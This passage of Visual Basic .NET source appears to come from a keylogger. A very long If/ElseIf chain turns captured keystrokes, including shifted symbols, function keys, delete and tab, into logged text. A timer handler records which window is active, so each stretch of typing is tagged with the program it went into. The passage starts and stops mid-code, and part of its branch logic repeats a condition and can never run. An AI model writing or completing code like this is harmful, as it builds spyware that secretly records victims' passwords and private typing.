TextBox1.Text & "l" ElseIf Key = Keys.M Then TextBox1.Text = TextBox1.Text & "m" ElseIf Key = Keys.N Then TextBox1.Text = TextBox1.Text & "n" ElseIf Key = Keys.O Then TextBox1.Text = TextBox1.Text & "o" ElseIf Key = Keys.P Then TextBox1.Text = TextBox1.Text & "p" ElseIf Key = Keys.Q Then TextBox1.Text = TextBox1.Text & "q" ElseIf Key = Keys.R Then TextBox1.Text = TextBox1.Text & "r" ElseIf Key = Keys.S Then TextBox1.Text = TextBox1.Text & "s" ElseIf Key = Keys.T Then TextBox1.Text = TextBox1.Text & "t" ElseIf Key = Keys.U Then TextBox1.Text = TextBox1.Text & "u" ElseIf Key = Keys.V Then TextBox1.Text = TextBox1.Text & "v" ElseIf Key = Keys.W Then TextBox1.Text = TextBox1.Text & "w" ElseIf Key = Keys.X Then TextBox1.Text = TextBox1.Text & "x" ElseIf Key = Keys.Y Then TextBox1.Text = TextBox1.Text & "y" ElseIf Key = Keys.Z Then TextBox1.Text = TextBox1.Text & "z" ElseIf Key = Keys.D0 Then TextBox1.Text = TextBox1.Text & "0" ElseIf Key = Keys.D1 Then TextBox1.Text = TextBox1.Text & "1" ElseIf Key = Keys.D2 Then TextBox1.Text = TextBox1.Text & "2" ElseIf Key = Keys.D3 Then TextBox1.Text = TextBox1.Text & "3" ElseIf Key = Keys.D4 Then TextBox1.Text = TextBox1.Text & "4" ElseIf Key = Keys.D5 Then TextBox1.Text = TextBox1.Text & "5" ElseIf Key = Keys.D6 Then TextBox1.Text = TextBox1.Text & "6" ElseIf Key = Keys.D7 Then TextBox1.Text = TextBox1.Text & "7" ElseIf Key = Keys.D8 Then TextBox1.Text = TextBox1.Text & "8" ElseIf Key = Keys.D9 Then TextBox1.Text = TextBox1.Text & "9" ElseIf Key = Keys.NumPad0 Then TextBox1.Text = TextBox1.Text & "0" ElseIf Key = Keys.NumPad1 Then TextBox1.Text = TextBox1.Text & "1" ElseIf Key = Keys.NumPad2 Then TextBox1.Text = TextBox1.Text & "2" ElseIf Key = Keys.NumPad3 Then TextBox1.Text = TextBox1.Text & "3" ElseIf Key = Keys.NumPad4 Then TextBox1.Text = TextBox1.Text & "4" ElseIf Key = Keys.NumPad5 Then TextBox1.Text = TextBox1.Text & "5" ElseIf Key = Keys.NumPad6 Then TextBox1.Text = TextBox1.Text & "6" ElseIf Key = Keys.NumPad7 Then TextBox1.Text = TextBox1.Text & "7" ElseIf Key = Keys.NumPad8 Then TextBox1.Text = TextBox1.Text & "8" ElseIf Key = Keys.NumPad9 Then TextBox1.Text = TextBox1.Text & "9" ElseIf Key = Keys.Oemcomma Then TextBox1.Text = TextBox1.Text & "," ElseIf Key = Keys.OemMinus Then TextBox1.Text = TextBox1.Text & "-" ElseIf Key = Keys.OemQuotes Then TextBox1.Text = TextBox1.Text & "'" ElseIf Key = Keys.OemOpenBrackets Then TextBox1.Text = TextBox1.Text & "[" ElseIf Key = Keys.OemCloseBrackets Then TextBox1.Text = TextBox1.Text & "]" ElseIf Key = Keys.OemQuestion Then TextBox1.Text = TextBox1.Text & "/" ElseIf Key = Keys.OemPipe Then TextBox1.Text = TextBox1.Text & "\" ElseIf Key = Keys.Oem1 Then TextBox1.Text = TextBox1.Text & ";" ElseIf Key = Keys.OemPeriod Then TextBox1.Text = TextBox1.Text & "." ElseIf Key = Keys.Oemtilde Then TextBox1.Text = TextBox1.Text & "`" ElseIf Key = Keys.Space Then TextBox1.Text = TextBox1.Text & " " ElseIf Key = Keys.Enter Then TextBox1.Text = TextBox1.Text & vbNewLine ElseIf Key = Keys.F1 Then TextBox1.Text = TextBox1.Text & "[F1]" ElseIf Key = Keys.F2 Then TextBox1.Text = TextBox1.Text & "[F2]" ElseIf Key = Keys.F3 Then TextBox1.Text = TextBox1.Text & "[F3]" ElseIf Key = Keys.F4 Then TextBox1.Text = TextBox1.Text & "[F4]" ElseIf Key = Keys.F5 Then TextBox1.Text = TextBox1.Text & "[F5]" ElseIf Key = Keys.F6 Then TextBox1.Text = TextBox1.Text & "[F6]" ElseIf Key = Keys.F7 Then TextBox1.Text = TextBox1.Text & "[F7]" ElseIf Key = Keys.F8 Then TextBox1.Text = TextBox1.Text & "[F8]" ElseIf Key = Keys.F9 Then TextBox1.Text = TextBox1.Text & "[F9]" ElseIf Key = Keys.F10 Then TextBox1.Text = TextBox1.Text & "[F10]" ElseIf Key = Keys.F11 Then TextBox1.Text = TextBox1.Text & "[F11]" ElseIf Key = Keys.F12 Then TextBox1.Text = TextBox1.Text & "[F12]" ElseIf Key = Keys.Delete Then TextBox1.Text = TextBox1.Text & "[DEL]" ElseIf Key = Keys.Back Then TextBox1.Text = TextBox1.Text & "[DEL]" ElseIf Key = Keys.Down Then TextBox1.Text = TextBox1.Text & "?" ElseIf Key = Keys.Up Then TextBox1.Text = TextBox1.Text & "?" ElseIf Key = Keys.Left Then TextBox1.Text = TextBox1.Text & "?" ElseIf Key = Keys.Right Then TextBox1.Text = TextBox1.Text & "?" ElseIf Key = Keys.Tab Then TextBox1.Text = TextBox1.Text & "[TAB]" ElseIf Key = Keys.End Then TextBox1.Text = TextBox1.Text & "[END]" ElseIf Key = Keys.Escape Then TextBox1.Text = TextBox1.Text & "[ESC]" ElseIf Key = Keys.Divide Then TextBox1.Text = TextBox1.Text & "/" ElseIf Key = Keys.Decimal Then TextBox1.Text = TextBox1.Text & "." ElseIf Key = Keys.Subtract Then TextBox1.Text = TextBox1.Text & "-" ElseIf Key = Keys.Add Then TextBox1.Text = TextBox1.Text & "+" ElseIf Key = Keys.Multiply Then TextBox1.Text = TextBox1.Text & "*" End If ElseIf My.Computer.Keyboard.ShiftKeyDown = False And My.Computer.Keyboard.CapsLock = True Then If Key = Keys.A Then TextBox1.Text = TextBox1.Text & "A" ElseIf Key = Keys.B Then TextBox1.Text = TextBox1.Text & "B" ElseIf Key = Keys.C Then TextBox1.Text = TextBox1.Text & "C" ElseIf Key = Keys.D Then TextBox1.Text = TextBox1.Text & "D" ElseIf Key = Keys.E Then TextBox1.Text = TextBox1.Text & "E" ElseIf Key = Keys.F Then TextBox1.Text = TextBox1.Text & "F" ElseIf Key = Keys.G Then TextBox1.Text = TextBox1.Text & "G" ElseIf Key = Keys.H Then TextBox1.Text = TextBox1.Text & "H" ElseIf Key = Keys.I Then TextBox1.Text = TextBox1.Text & "I" ElseIf Key = Keys.J Then TextBox1.Text = TextBox1.Text & "J" ElseIf Key = Keys.K Then TextBox1.Text = TextBox1.Text & "K" ElseIf Key = Keys.L Then TextBox1.Text = TextBox1.Text & "L" ElseIf Key = Keys.M Then TextBox1.Text = TextBox1.Text & "M" ElseIf Key = Keys.N Then TextBox1.Text = TextBox1.Text & "N" ElseIf Key = Keys.O Then TextBox1.Text = TextBox1.Text & "O" ElseIf Key = Keys.P Then TextBox1.Text = TextBox1.Text & "P" ElseIf Key = Keys.Q Then TextBox1.Text = TextBox1.Text & "Q" ElseIf Key = Keys.R Then TextBox1.Text = TextBox1.Text & "R" ElseIf Key = Keys.S Then TextBox1.Text = TextBox1.Text & "S" ElseIf Key = Keys.T Then TextBox1.Text = TextBox1.Text & "T" ElseIf Key = Keys.U Then TextBox1.Text = TextBox1.Text & "U" ElseIf Key = Keys.V Then TextBox1.Text = TextBox1.Text & "V" ElseIf Key = Keys.W Then TextBox1.Text = TextBox1.Text & "W" ElseIf Key = Keys.X Then TextBox1.Text = TextBox1.Text & "X" ElseIf Key = Keys.Y Then TextBox1.Text = TextBox1.Text & "Y" ElseIf Key = Keys.Z Then TextBox1.Text = TextBox1.Text & "Z" ElseIf Key = Keys.D0 Then TextBox1.Text = TextBox1.Text & "0" ElseIf Key = Keys.D1 Then TextBox1.Text = TextBox1.Text & "1" ElseIf Key = Keys.D2 Then TextBox1.Text = TextBox1.Text & "2" ElseIf Key = Keys.D3 Then TextBox1.Text = TextBox1.Text & "3" ElseIf Key = Keys.D4 Then TextBox1.Text = TextBox1.Text & "4" ElseIf Key = Keys.D5 Then TextBox1.Text = TextBox1.Text & "5" ElseIf Key = Keys.D6 Then TextBox1.Text = TextBox1.Text & "6" ElseIf Key = Keys.D7 Then TextBox1.Text = TextBox1.Text & "7" ElseIf Key = Keys.D8 Then TextBox1.Text = TextBox1.Text & "8" ElseIf Key = Keys.D9 Then TextBox1.Text = TextBox1.Text & "9" ElseIf Key = Keys.NumPad0 Then TextBox1.Text = TextBox1.Text & "0" ElseIf Key = Keys.NumPad1 Then TextBox1.Text = TextBox1.Text & "1" ElseIf Key = Keys.NumPad2 Then TextBox1.Text = TextBox1.Text & "2" ElseIf Key = Keys.NumPad3 Then TextBox1.Text = TextBox1.Text & "3" ElseIf Key = Keys.NumPad4 Then TextBox1.Text = TextBox1.Text & "4" ElseIf Key = Keys.NumPad5 Then TextBox1.Text = TextBox1.Text & "5" ElseIf Key = Keys.NumPad6 Then TextBox1.Text = TextBox1.Text & "6" ElseIf Key = Keys.NumPad7 Then TextBox1.Text = TextBox1.Text & "7" ElseIf Key = Keys.NumPad8 Then TextBox1.Text = TextBox1.Text & "8" ElseIf Key = Keys.NumPad9 Then TextBox1.Text = TextBox1.Text & "9" ElseIf Key = Keys.Oemcomma Then TextBox1.Text = TextBox1.Text & "," ElseIf Key = Keys.OemMinus Then TextBox1.Text = TextBox1.Text & "-" ElseIf Key = Keys.OemQuotes Then TextBox1.Text = TextBox1.Text & "'" ElseIf Key = Keys.OemOpenBrackets Then TextBox1.Text = TextBox1.Text & "[" ElseIf Key = Keys.OemCloseBrackets Then TextBox1.Text = TextBox1.Text & "]" ElseIf Key = Keys.OemQuestion Then TextBox1.Text = TextBox1.Text & "/" ElseIf Key = Keys.OemPipe Then TextBox1.Text = TextBox1.Text & "\" ElseIf Key = Keys.Oem1 Then TextBox1.Text = TextBox1.Text & ";" ElseIf Key = Keys.OemPeriod Then TextBox1.Text = TextBox1.Text & "." ElseIf Key = Keys.Oemtilde Then TextBox1.Text = TextBox1.Text & "`" ElseIf Key = Keys.Space Then TextBox1.Text = TextBox1.Text & " " ElseIf Key = Keys.Enter Then TextBox1.Text = TextBox1.Text & vbNewLine ElseIf Key = Keys.F1 Then TextBox1.Text = TextBox1.Text & "[F1]" ElseIf Key = Keys.F2 Then TextBox1.Text = TextBox1.Text & "[F2]" ElseIf Key = Keys.F3 Then TextBox1.Text = TextBox1.Text & "[F3]" ElseIf Key = Keys.F4 Then TextBox1.Text = TextBox1.Text & "[F4]" ElseIf Key = Keys.F5 Then TextBox1.Text = TextBox1.Text & "[F5]" ElseIf Key = Keys.F6 Then TextBox1.Text = TextBox1.Text & "[F6]" ElseIf Key = Keys.F7 Then TextBox1.Text = TextBox1.Text & "[F7]" ElseIf Key = Keys.F8 Then TextBox1.Text = TextBox1.Text & "[F8]" ElseIf Key = Keys.F9 Then TextBox1.Text = TextBox1.Text & "[F9]" ElseIf Key = Keys.F10 Then TextBox1.Text = TextBox1.Text & "[F10]" ElseIf Key = Keys.F11 Then TextBox1.Text = TextBox1.Text & "[F11]" ElseIf Key = Keys.F12 Then TextBox1.Text = TextBox1.Text & "[F12]" ElseIf Key = Keys.Delete Then TextBox1.Text = TextBox1.Text & "[DEL]" ElseIf Key = Keys.Back Then TextBox1.Text = TextBox1.Text & "[DEL]" ElseIf Key = Keys.Down Then TextBox1.Text = TextBox1.Text & "?" ElseIf Key = Keys.Up Then TextBox1.Text = TextBox1.Text & "?" ElseIf Key = Keys.Left Then TextBox1.Text = TextBox1.Text & "?" ElseIf Key = Keys.Right Then TextBox1.Text = TextBox1.Text & "?" ElseIf Key = Keys.Tab Then TextBox1.Text = TextBox1.Text & "[TAB]" ElseIf Key = Keys.End Then TextBox1.Text = TextBox1.Text & "[END]" ElseIf Key = Keys.Escape Then TextBox1.Text = TextBox1.Text & "[ESC]" ElseIf Key = Keys.Divide Then TextBox1.Text = TextBox1.Text & "/" ElseIf Key = Keys.Decimal Then TextBox1.Text = TextBox1.Text & "." ElseIf Key = Keys.Subtract Then TextBox1.Text = TextBox1.Text & "-" ElseIf Key = Keys.Add Then TextBox1.Text = TextBox1.Text & "+" ElseIf Key = Keys.Multiply Then TextBox1.Text = TextBox1.Text & "*" End If ElseIf My.Computer.Keyboard.ShiftKeyDown = True And My.Computer.Keyboard.CapsLock = True Then If Key = Keys.D1 Then TextBox1.Text = TextBox1.Text + "!" ElseIf Key = Keys.D2 Then TextBox1.Text = TextBox1.Text + "@" ElseIf Key = Keys.D3 Then TextBox1.Text = TextBox1.Text + "#" ElseIf Key = Keys.D4 Then TextBox1.Text = TextBox1.Text + "$" ElseIf Key = Keys.D5 Then TextBox1.Text = TextBox1.Text + "%" ElseIf Key = Keys.D6 Then TextBox1.Text = TextBox1.Text + "^" ElseIf Key = Keys.D7 Then TextBox1.Text = TextBox1.Text + "&" ElseIf Key = Keys.D8 Then TextBox1.Text = TextBox1.Text + "*" ElseIf Key = Keys.D9 Then TextBox1.Text = TextBox1.Text + "(" ElseIf Key = Keys.D0 Then TextBox1.Text = TextBox1.Text + ")" ElseIf Key = Keys.A Then TextBox1.Text = TextBox1.Text & "A" ElseIf Key = Keys.B Then TextBox1.Text = TextBox1.Text & "B" ElseIf Key = Keys.C Then TextBox1.Text = TextBox1.Text & "C" ElseIf Key = Keys.D Then TextBox1.Text = TextBox1.Text & "D" ElseIf Key = Keys.E Then TextBox1.Text = TextBox1.Text & "E" ElseIf Key = Keys.F Then TextBox1.Text = TextBox1.Text & "F" ElseIf Key = Keys.G Then TextBox1.Text = TextBox1.Text & "G" ElseIf Key = Keys.H Then TextBox1.Text = TextBox1.Text & "H" ElseIf Key = Keys.I Then TextBox1.Text = TextBox1.Text & "I" ElseIf Key = Keys.J Then TextBox1.Text = TextBox1.Text & "J" ElseIf Key = Keys.K Then TextBox1.Text = TextBox1.Text & "K" ElseIf Key = Keys.L Then TextBox1.Text = TextBox1.Text & "L" ElseIf Key = Keys.M Then TextBox1.Text = TextBox1.Text & "M" ElseIf Key = Keys.N Then TextBox1.Text = TextBox1.Text & "N" ElseIf Key = Keys.O Then TextBox1.Text = TextBox1.Text & "O" ElseIf Key = Keys.P Then TextBox1.Text = TextBox1.Text & "P" ElseIf Key = Keys.Q Then TextBox1.Text = TextBox1.Text & "Q" ElseIf Key = Keys.R Then TextBox1.Text = TextBox1.Text & "R" ElseIf Key = Keys.S Then TextBox1.Text = TextBox1.Text & "S" ElseIf Key = Keys.T Then TextBox1.Text = TextBox1.Text & "T" ElseIf Key = Keys.U Then TextBox1.Text = TextBox1.Text & "U" ElseIf Key = Keys.V Then TextBox1.Text = TextBox1.Text & "V" ElseIf Key = Keys.W Then TextBox1.Text = TextBox1.Text & "W" ElseIf Key = Keys.X Then TextBox1.Text = TextBox1.Text & "X" ElseIf Key = Keys.Y Then TextBox1.Text = TextBox1.Text & "Y" ElseIf Key = Keys.Z Then TextBox1.Text = TextBox1.Text & "Z" ElseIf Key = Keys.Oemcomma Then TextBox1.Text = TextBox1.Text & "<" ElseIf Key = Keys.OemMinus Then TextBox1.Text = TextBox1.Text & "_" ElseIf Key = Keys.OemOpenBrackets Then TextBox1.Text = TextBox1.Text & "{" ElseIf Key = Keys.OemCloseBrackets Then TextBox1.Text = TextBox1.Text & "}" ElseIf Key = Keys.OemQuestion Then TextBox1.Text = TextBox1.Text & "?" ElseIf Key = Keys.OemPipe Then TextBox1.Text = TextBox1.Text & "|" ElseIf Key = Keys.Oem1 Then TextBox1.Text = TextBox1.Text & ":" ElseIf Key = Keys.OemPeriod Then TextBox1.Text = TextBox1.Text & ">" ElseIf Key = Keys.Oemtilde Then TextBox1.Text = TextBox1.Text & "~" ElseIf Key = Keys.OemQuotes Then TextBox1.Text = TextBox1.Text & Label1.Text ElseIf Key = Keys.Space Then TextBox1.Text = TextBox1.Text & " " ElseIf Key = Keys.Enter Then TextBox1.Text = TextBox1.Text & vbNewLine ElseIf Key = Keys.F1 Then TextBox1.Text = TextBox1.Text & "[F1]" ElseIf Key = Keys.F2 Then TextBox1.Text = TextBox1.Text & "[F2]" ElseIf Key = Keys.F3 Then TextBox1.Text = TextBox1.Text & "[F3]" ElseIf Key = Keys.F4 Then TextBox1.Text = TextBox1.Text & "[F4]" ElseIf Key = Keys.F5 Then TextBox1.Text = TextBox1.Text & "[F5]" ElseIf Key = Keys.F6 Then TextBox1.Text = TextBox1.Text & "[F6]" ElseIf Key = Keys.F7 Then TextBox1.Text = TextBox1.Text & "[F7]" ElseIf Key = Keys.F8 Then TextBox1.Text = TextBox1.Text & "[F8]" ElseIf Key = Keys.F9 Then TextBox1.Text = TextBox1.Text & "[F9]" ElseIf Key = Keys.F10 Then TextBox1.Text = TextBox1.Text & "[F10]" ElseIf Key = Keys.F11 Then TextBox1.Text = TextBox1.Text & "[F11]" ElseIf Key = Keys.F12 Then TextBox1.Text = TextBox1.Text & "[F12]" ElseIf Key = Keys.Delete Then TextBox1.Text = TextBox1.Text & "[DEL]" ElseIf Key = Keys.Back Then TextBox1.Text = TextBox1.Text & "[DEL]" ElseIf Key = Keys.Down Then TextBox1.Text = TextBox1.Text & "?" ElseIf Key = Keys.Up Then TextBox1.Text = TextBox1.Text & "?" ElseIf Key = Keys.Left Then TextBox1.Text = TextBox1.Text & "?" ElseIf Key = Keys.Right Then TextBox1.Text = TextBox1.Text & "?" ElseIf Key = Keys.Tab Then TextBox1.Text = TextBox1.Text & "[TAB]" ElseIf Key = Keys.End Then TextBox1.Text = TextBox1.Text & "[END]" ElseIf Key = Keys.Escape Then TextBox1.Text = TextBox1.Text & "[ESC]" ElseIf Key = Keys.Divide Then TextBox1.Text = TextBox1.Text & "/" ElseIf Key = Keys.Decimal Then TextBox1.Text = TextBox1.Text & "." ElseIf Key = Keys.Subtract Then TextBox1.Text = TextBox1.Text & "-" ElseIf Key = Keys.Add Then TextBox1.Text = TextBox1.Text & "+" ElseIf Key = Keys.Multiply Then TextBox1.Text = TextBox1.Text & "*" End If ElseIf My.Computer.Keyboard.ShiftKeyDown = False And My.Computer.Keyboard.CapsLock = True Then If Key = Keys.D1 Then TextBox1.Text = TextBox1.Text + "1" ElseIf Key = Keys.D2 Then TextBox1.Text = TextBox1.Text + "2" ElseIf Key = Keys.D3 Then TextBox1.Text = TextBox1.Text + "3" ElseIf Key = Keys.D4 Then TextBox1.Text = TextBox1.Text + "4" ElseIf Key = Keys.D5 Then TextBox1.Text = TextBox1.Text + "5" ElseIf Key = Keys.D6 Then TextBox1.Text = TextBox1.Text + "6" ElseIf Key = Keys.D7 Then TextBox1.Text = TextBox1.Text + "7" ElseIf Key = Keys.D8 Then TextBox1.Text = TextBox1.Text + "8" ElseIf Key = Keys.D9 Then TextBox1.Text = TextBox1.Text + "9" ElseIf Key = Keys.D0 Then TextBox1.Text = TextBox1.Text + "0" ElseIf Key = Keys.A Then TextBox1.Text = TextBox1.Text & "a" ElseIf Key = Keys.B Then TextBox1.Text = TextBox1.Text & "b" ElseIf Key = Keys.C Then TextBox1.Text = TextBox1.Text & "c" ElseIf Key = Keys.D Then TextBox1.Text = TextBox1.Text & "d" ElseIf Key = Keys.E Then TextBox1.Text = TextBox1.Text & "e" ElseIf Key = Keys.F Then TextBox1.Text = TextBox1.Text & "f" ElseIf Key = Keys.G Then TextBox1.Text = TextBox1.Text & "g" ElseIf Key = Keys.H Then TextBox1.Text = TextBox1.Text & "h" ElseIf Key = Keys.I Then TextBox1.Text = TextBox1.Text & "i" ElseIf Key = Keys.J Then TextBox1.Text = TextBox1.Text & "j" ElseIf Key = Keys.K Then TextBox1.Text = TextBox1.Text & "k" ElseIf Key = Keys.L Then TextBox1.Text = TextBox1.Text & "l" ElseIf Key = Keys.M Then TextBox1.Text = TextBox1.Text & "m" ElseIf Key = Keys.N Then TextBox1.Text = TextBox1.Text & "n" ElseIf Key = Keys.O Then TextBox1.Text = TextBox1.Text & "o" ElseIf Key = Keys.P Then TextBox1.Text = TextBox1.Text & "p" ElseIf Key = Keys.Q Then TextBox1.Text = TextBox1.Text & "q" ElseIf Key = Keys.R Then TextBox1.Text = TextBox1.Text & "r" ElseIf Key = Keys.S Then TextBox1.Text = TextBox1.Text & "s" ElseIf Key = Keys.T Then TextBox1.Text = TextBox1.Text & "t" ElseIf Key = Keys.U Then TextBox1.Text = TextBox1.Text & "u" ElseIf Key = Keys.V Then TextBox1.Text = TextBox1.Text & "v" ElseIf Key = Keys.W Then TextBox1.Text = TextBox1.Text & "w" ElseIf Key = Keys.X Then TextBox1.Text = TextBox1.Text & "x" ElseIf Key = Keys.Y Then TextBox1.Text = TextBox1.Text & "y" ElseIf Key = Keys.Z Then TextBox1.Text = TextBox1.Text & "z" ElseIf Key = Keys.Oemcomma Then TextBox1.Text = TextBox1.Text & "," ElseIf Key = Keys.OemMinus Then TextBox1.Text = TextBox1.Text & "-" ElseIf Key = Keys.OemQuotes Then TextBox1.Text = TextBox1.Text & "'" ElseIf Key = Keys.OemOpenBrackets Then TextBox1.Text = TextBox1.Text & "[" ElseIf Key = Keys.OemCloseBrackets Then TextBox1.Text = TextBox1.Text & "]" ElseIf Key = Keys.OemQuestion Then TextBox1.Text = TextBox1.Text & "/" ElseIf Key = Keys.OemPipe Then TextBox1.Text = TextBox1.Text & "\" ElseIf Key = Keys.Oem1 Then TextBox1.Text = TextBox1.Text & ";" ElseIf Key = Keys.OemPeriod Then TextBox1.Text = TextBox1.Text & "." ElseIf Key = Keys.Oemtilde Then TextBox1.Text = TextBox1.Text & "`" ElseIf Key = Keys.Space Then TextBox1.Text = TextBox1.Text & " " ElseIf Key = Keys.Enter Then TextBox1.Text = TextBox1.Text & vbNewLine ElseIf Key = Keys.F1 Then TextBox1.Text = TextBox1.Text & "[F1]" ElseIf Key = Keys.F2 Then TextBox1.Text = TextBox1.Text & "[F2]" ElseIf Key = Keys.F3 Then TextBox1.Text = TextBox1.Text & "[F3]" ElseIf Key = Keys.F4 Then TextBox1.Text = TextBox1.Text & "[F4]" ElseIf Key = Keys.F5 Then TextBox1.Text = TextBox1.Text & "[F5]" ElseIf Key = Keys.F6 Then TextBox1.Text = TextBox1.Text & "[F6]" ElseIf Key = Keys.F7 Then TextBox1.Text = TextBox1.Text & "[F7]" ElseIf Key = Keys.F8 Then TextBox1.Text = TextBox1.Text & "[F8]" ElseIf Key = Keys.F9 Then TextBox1.Text = TextBox1.Text & "[F9]" ElseIf Key = Keys.F10 Then TextBox1.Text = TextBox1.Text & "[F10]" ElseIf Key = Keys.F11 Then TextBox1.Text = TextBox1.Text & "[F11]" ElseIf Key = Keys.F12 Then TextBox1.Text = TextBox1.Text & "[F12]" ElseIf Key = Keys.Delete Then TextBox1.Text = TextBox1.Text & "[DEL]" ElseIf Key = Keys.Back Then TextBox1.Text = TextBox1.Text & "[DEL]" ElseIf Key = Keys.Down Then TextBox1.Text = TextBox1.Text & "?" ElseIf Key = Keys.Up Then TextBox1.Text = TextBox1.Text & "?" ElseIf Key = Keys.Left Then TextBox1.Text = TextBox1.Text & "?" ElseIf Key = Keys.Right Then TextBox1.Text = TextBox1.Text & "?" ElseIf Key = Keys.Tab Then TextBox1.Text = TextBox1.Text & "[TAB]" ElseIf Key = Keys.End Then TextBox1.Text = TextBox1.Text & "[END]" ElseIf Key = Keys.Escape Then TextBox1.Text = TextBox1.Text & "[ESC]" ElseIf Key = Keys.Divide Then TextBox1.Text = TextBox1.Text & "/" ElseIf Key = Keys.Decimal Then TextBox1.Text = TextBox1.Text & "." ElseIf Key = Keys.Subtract Then TextBox1.Text = TextBox1.Text & "-" ElseIf Key = Keys.Add Then TextBox1.Text = TextBox1.Text & "+" ElseIf Key = Keys.Multiply Then TextBox1.Text = TextBox1.Text & "*" End If ElseIf My.Computer.Keyboard.ShiftKeyDown = True And My.Computer.Keyboard.CapsLock = False Then If Key = Keys.D1 Then TextBox1.Text = TextBox1.Text + "!" ElseIf Key = Keys.D2 Then TextBox1.Text = TextBox1.Text + "@" ElseIf Key = Keys.D3 Then TextBox1.Text = TextBox1.Text + "#" ElseIf Key = Keys.D4 Then TextBox1.Text = TextBox1.Text + "$" ElseIf Key = Keys.D5 Then TextBox1.Text = TextBox1.Text + "%" ElseIf Key = Keys.D6 Then TextBox1.Text = TextBox1.Text + "^" ElseIf Key = Keys.D7 Then TextBox1.Text = TextBox1.Text + "&" ElseIf Key = Keys.D8 Then TextBox1.Text = TextBox1.Text + "*" ElseIf Key = Keys.D9 Then TextBox1.Text = TextBox1.Text + "(" ElseIf Key = Keys.D0 Then TextBox1.Text = TextBox1.Text + ")" ElseIf Key = Keys.A Then TextBox1.Text = TextBox1.Text & "A" ElseIf Key = Keys.B Then TextBox1.Text = TextBox1.Text & "B" ElseIf Key = Keys.C Then TextBox1.Text = TextBox1.Text & "C" ElseIf Key = Keys.D Then TextBox1.Text = TextBox1.Text & "D" ElseIf Key = Keys.E Then TextBox1.Text = TextBox1.Text & "E" ElseIf Key = Keys.F Then TextBox1.Text = TextBox1.Text & "F" ElseIf Key = Keys.G Then TextBox1.Text = TextBox1.Text & "G" ElseIf Key = Keys.H Then TextBox1.Text = TextBox1.Text & "H" ElseIf Key = Keys.I Then TextBox1.Text = TextBox1.Text & "I" ElseIf Key = Keys.J Then TextBox1.Text = TextBox1.Text & "J" ElseIf Key = Keys.K Then TextBox1.Text = TextBox1.Text & "K" ElseIf Key = Keys.L Then TextBox1.Text = TextBox1.Text & "L" ElseIf Key = Keys.M Then TextBox1.Text = TextBox1.Text & "M" ElseIf Key = Keys.N Then TextBox1.Text = TextBox1.Text & "N" ElseIf Key = Keys.O Then TextBox1.Text = TextBox1.Text & "O" ElseIf Key = Keys.P Then TextBox1.Text = TextBox1.Text & "P" ElseIf Key = Keys.Q Then TextBox1.Text = TextBox1.Text & "Q" ElseIf Key = Keys.R Then TextBox1.Text = TextBox1.Text & "R" ElseIf Key = Keys.S Then TextBox1.Text = TextBox1.Text & "S" ElseIf Key = Keys.T Then TextBox1.Text = TextBox1.Text & "T" ElseIf Key = Keys.U Then TextBox1.Text = TextBox1.Text & "U" ElseIf Key = Keys.V Then TextBox1.Text = TextBox1.Text & "V" ElseIf Key = Keys.W Then TextBox1.Text = TextBox1.Text & "W" ElseIf Key = Keys.X Then TextBox1.Text = TextBox1.Text & "X" ElseIf Key = Keys.Y Then TextBox1.Text = TextBox1.Text & "Y" ElseIf Key = Keys.Z Then TextBox1.Text = TextBox1.Text & "Z" ElseIf Key = Keys.Oemcomma Then TextBox1.Text = TextBox1.Text & "<" ElseIf Key = Keys.OemMinus Then TextBox1.Text = TextBox1.Text & "_" ElseIf Key = Keys.OemOpenBrackets Then TextBox1.Text = TextBox1.Text & "{" ElseIf Key = Keys.OemCloseBrackets Then TextBox1.Text = TextBox1.Text & "}" ElseIf Key = Keys.OemQuestion Then TextBox1.Text = TextBox1.Text & "?" ElseIf Key = Keys.OemPipe Then TextBox1.Text = TextBox1.Text & "|" ElseIf Key = Keys.Oem1 Then TextBox1.Text = TextBox1.Text & ":" ElseIf Key = Keys.OemPeriod Then TextBox1.Text = TextBox1.Text & ">" ElseIf Key = Keys.Oemtilde Then TextBox1.Text = TextBox1.Text & "~" ElseIf Key = Keys.Space Then TextBox1.Text = TextBox1.Text & " " ElseIf Key = Keys.Enter Then TextBox1.Text = TextBox1.Text & vbNewLine ElseIf Key = Keys.F1 Then TextBox1.Text = TextBox1.Text & "[F1]" ElseIf Key = Keys.F2 Then TextBox1.Text = TextBox1.Text & "[F2]" ElseIf Key = Keys.F3 Then TextBox1.Text = TextBox1.Text & "[F3]" ElseIf Key = Keys.F4 Then TextBox1.Text = TextBox1.Text & "[F4]" ElseIf Key = Keys.F5 Then TextBox1.Text = TextBox1.Text & "[F5]" ElseIf Key = Keys.F6 Then TextBox1.Text = TextBox1.Text & "[F6]" ElseIf Key = Keys.F7 Then TextBox1.Text = TextBox1.Text & "[F7]" ElseIf Key = Keys.F8 Then TextBox1.Text = TextBox1.Text & "[F8]" ElseIf Key = Keys.F9 Then TextBox1.Text = TextBox1.Text & "[F9]" ElseIf Key = Keys.F10 Then TextBox1.Text = TextBox1.Text & "[F10]" ElseIf Key = Keys.F11 Then TextBox1.Text = TextBox1.Text & "[F11]" ElseIf Key = Keys.F12 Then TextBox1.Text = TextBox1.Text & "[F12]" ElseIf Key = Keys.Delete Then TextBox1.Text = TextBox1.Text & "[DEL]" ElseIf Key = Keys.Back Then TextBox1.Text = TextBox1.Text & "[DEL]" ElseIf Key = Keys.Down Then TextBox1.Text = TextBox1.Text & "?" ElseIf Key = Keys.Up Then TextBox1.Text = TextBox1.Text & "?" ElseIf Key = Keys.Left Then TextBox1.Text = TextBox1.Text & "?" ElseIf Key = Keys.Right Then TextBox1.Text = TextBox1.Text & "?" ElseIf Key = Keys.Tab Then TextBox1.Text = TextBox1.Text & "[TAB]" ElseIf Key = Keys.End Then TextBox1.Text = TextBox1.Text & "[END]" ElseIf Key = Keys.Escape Then TextBox1.Text = TextBox1.Text & "[ESC]" ElseIf Key = Keys.Divide Then TextBox1.Text = TextBox1.Text & "/" ElseIf Key = Keys.Decimal Then TextBox1.Text = TextBox1.Text & "." ElseIf Key = Keys.Subtract Then TextBox1.Text = TextBox1.Text & "-" ElseIf Key = Keys.Add Then TextBox1.Text = TextBox1.Text & "+" ElseIf Key = Keys.Multiply Then TextBox1.Text = TextBox1.Text & "*" ElseIf Key = Keys.OemQuotes Then TextBox1.Text = TextBox1.Text & Label1.Text End If End If End Sub Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load Timer1.Start() End Sub Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick If strin <> GetActiveWindowTitle() Then TextBox1.Text = TextBox1.Text + vbNewLine & "[------" & 